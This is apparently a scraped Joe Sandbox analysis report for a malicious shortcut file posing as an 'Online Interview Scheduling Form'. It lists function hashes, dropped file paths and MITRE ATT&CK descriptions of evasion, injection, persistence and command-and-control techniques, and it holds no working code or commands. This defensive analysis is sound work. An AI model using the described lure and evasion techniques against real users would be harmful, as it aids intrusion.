Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c2d89e1abf712e61833d908cf8cfc3613362d54d3988335f4d13134e70cdb4f
Instruction ID: f0863947562e1432668064a9df77176d00042517db9cdb3a048ee73e0f41b4c8
Opcode Fuzzy Hash: 7c2d89e1abf712e61833d908cf8cfc3613362d54d3988335f4d13134e70cdb4f
Instruction Fuzzy Hash: 4E31B131A1C7858FD391EB78D4486AABBE0FF99350F144ABAE488C7296DB74D4848742

Function 00007FF848F2B040 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33fe85c1a3f8059479a3d214be0eb6ec6fd326de1ef5dd8cc0debd9da154c684
Instruction ID: 80935473e6f6e20275314d1a6a1ae1b719869e9868499ca9acbfe25c0d589078
Opcode Fuzzy Hash: 33fe85c1a3f8059479a3d214be0eb6ec6fd326de1ef5dd8cc0debd9da154c684
Instruction Fuzzy Hash: 3911C231A18A49CFD750FF38C488A66B7E1EB98390F104B3AD409C32A5DF74E484CB81

Function 00007FF848F26700 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c91f8bb5612940347ec11d1d9cf77a374b71f9ec13eb81fd806d63c7de80ac71
Instruction ID: e9f93d0ff66fc18f57d6115c6f1225f29c70dfb9f3667c92c09f1307ec3c5850
Opcode Fuzzy Hash: c91f8bb5612940347ec11d1d9cf77a374b71f9ec13eb81fd806d63c7de80ac71
Instruction Fuzzy Hash: C601803090C94A4FEB69F774D865ABEB6F0EF51360F10013DE04A935D2DF2A2840CB95

Function 00007FF848F233B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: b81149d342438cc37704c2a90a5bc61e4b8c38b5d9d18ebcc6d248958a2491c8
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 6A01677111CB0C4FD744EF0CE451AA5B7E0FB95364F10056EE58AC36A5DB36E892CB46

Function 00007FF848F26F81 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 488b6e453b9447b5db56e3078a9fd8a4c1f7dec08dc8f5fde4f2187e96f8e680
Instruction ID: 17cc1866e4cbdf68610f0e6ebe6f0f017469b81d4223f8e2b1d3ef58fccf4499
Opcode Fuzzy Hash: 488b6e453b9447b5db56e3078a9fd8a4c1f7dec08dc8f5fde4f2187e96f8e680
Instruction Fuzzy Hash: FE014E70C0EBC54FD366EB3854551A2BFE0DF5521070486BFC049CB597DE1DA8858355

Function 00007FF848F26FA0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81897198ab71daf9bdd78eee6f02c71d78c20e8714410c4324059e705754844c
Instruction ID: 10cef204e85dca3291b46b7a4e9bd72296f152e19a2f5a1cbe847154972234ac
Opcode Fuzzy Hash: 81897198ab71daf9bdd78eee6f02c71d78c20e8714410c4324059e705754844c
Instruction Fuzzy Hash: F0F0A730D29E094FE368FF2850451A7B2E1EF58310B40877AC40AC3299DF2DA9454384

Function 00007FF848F27140 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 793e34f7d8b52fae5d9499da8b7521d151bbd6a1d9888043cdbe2a4a5ad68460
Instruction ID: c94b596df065e94bfcfea8550642b133b8eb881da52fc75181aa33f77f010774
Opcode Fuzzy Hash: 793e34f7d8b52fae5d9499da8b7521d151bbd6a1d9888043cdbe2a4a5ad68460
Instruction Fuzzy Hash: 10B01293C0EFC20FD2664E3428200601E647F76A4071910E7C0484B1DFD6148F058365

Non-executed Functions

Function 00007FF848F26BD3 Relevance: 7.9, Strings: 6, Instructions: 370COMMON

Download Yara Rule

Strings

}#I, xrefs: 00007FF848F26CE1
X}#I, xrefs: 00007FF848F26CC1
`{#I, xrefs: 00007FF848F26C51
0~#I, xrefs: 00007FF848F26CF1
x~#I, xrefs: 00007FF848F26D01
8|#I, xrefs: 00007FF848F26C81

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID: 0~#I$8|#I$X}#I$`{#I$x~#I$}#I
API String ID: 0-177549371
Opcode ID: 59eb7d230287c315dcb06cd29ce3d6f1d15a328e19fc07d2932c2735154e6862
Instruction ID: ba2c54ba74d1269289d97f70603f33ccbeeb0edbea7eb4441c5e16d9ce389bb7
Opcode Fuzzy Hash: 59eb7d230287c315dcb06cd29ce3d6f1d15a328e19fc07d2932c2735154e6862
Instruction Fuzzy Hash: AFA1E676E0E9894FE669A73C7C151B97B90FF92661F4803FBC048871DBDE1E58068385

Function 00007FF848F26B80 Relevance: 7.8, Strings: 6, Instructions: 276COMMON

Download Yara Rule

Strings

}#I, xrefs: 00007FF848F26CE1
X}#I, xrefs: 00007FF848F26CC1
`{#I, xrefs: 00007FF848F26C51
0~#I, xrefs: 00007FF848F26CF1
x~#I, xrefs: 00007FF848F26D01
8|#I, xrefs: 00007FF848F26C81

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID: 0~#I$8|#I$X}#I$`{#I$x~#I$}#I
API String ID: 0-177549371
Opcode ID: 8acb1494576a6d44714b949f5e7db3983d44e9dcb57bc77c103b034f98ef2323
Instruction ID: 3a8c14b8267e7702a26201e8a4eacf57cd5a7d85a8ce637a15c8aefe4b4b471c
Opcode Fuzzy Hash: 8acb1494576a6d44714b949f5e7db3983d44e9dcb57bc77c103b034f98ef2323
Instruction Fuzzy Hash: 0371A266E0F9CA4FE26A673C7C111B56B54FF92662F4803FBC1488B1DB9D1E580A4389

Function 00007FF848F26AC0 Relevance: 6.3, Strings: 5, Instructions: 53COMMON

Download Yara Rule

Strings

(u#I, xrefs: 00007FF848F26AF1
r#I, xrefs: 00007FF848F26B21
Pt#I, xrefs: 00007FF848F26AC1
pu#I, xrefs: 00007FF848F26B01
t#I, xrefs: 00007FF848F26AE1

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID: (u#I$Pt#I$pu#I$r#I$t#I
API String ID: 0-1497965943
Opcode ID: 787a913184030d3b689ddb6d2d4702425f2d92a2057695a0b66522d69ee34058
Instruction ID: 0588725a90c51c7cae604b301fc00b9f8d56f36f13b02d2cd13d9bf9e38e9ca3
Opcode Fuzzy Hash: 787a913184030d3b689ddb6d2d4702425f2d92a2057695a0b66522d69ee34058
Instruction Fuzzy Hash: D80175A2E0ECC54BE528167C3C1103A6B98FBA6B60B5943FAD148070DF4929D9094388

Function 00007FF848F27000 Relevance: 5.0, Strings: 4, Instructions: 19COMMON

Download Yara Rule

Strings

`{#I, xrefs: 00007FF848F27041
@z#I, xrefs: 00007FF848F27001
X}#I, xrefs: 00007FF848F270B1
}#I, xrefs: 00007FF848F270D1

Memory Dump Source

Source File: 00000023.00000002.3501604655.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID: @z#I$X}#I$`{#I$}#I
API String ID: 0-4190855374
Opcode ID: d66a0f90b350419a4aa4c2e5bcb2b4525afdc0ce20ded12b88f0fec5ae84fe08
Instruction ID: b912603b0601954da75277b8d77cf2e4239cb8ff91fcff315c8f04fc6ee8a3f9
Opcode Fuzzy Hash: d66a0f90b350419a4aa4c2e5bcb2b4525afdc0ce20ded12b88f0fec5ae84fe08
Instruction Fuzzy Hash: B3E04F92C1EEC24FE396873528201202E60BB72550B4900FAC088471D797155D08938A

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Online Interview Scheduling Form.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_40.ttf

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Windows Analysis Report
Online Interview Scheduling Form.lnk

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre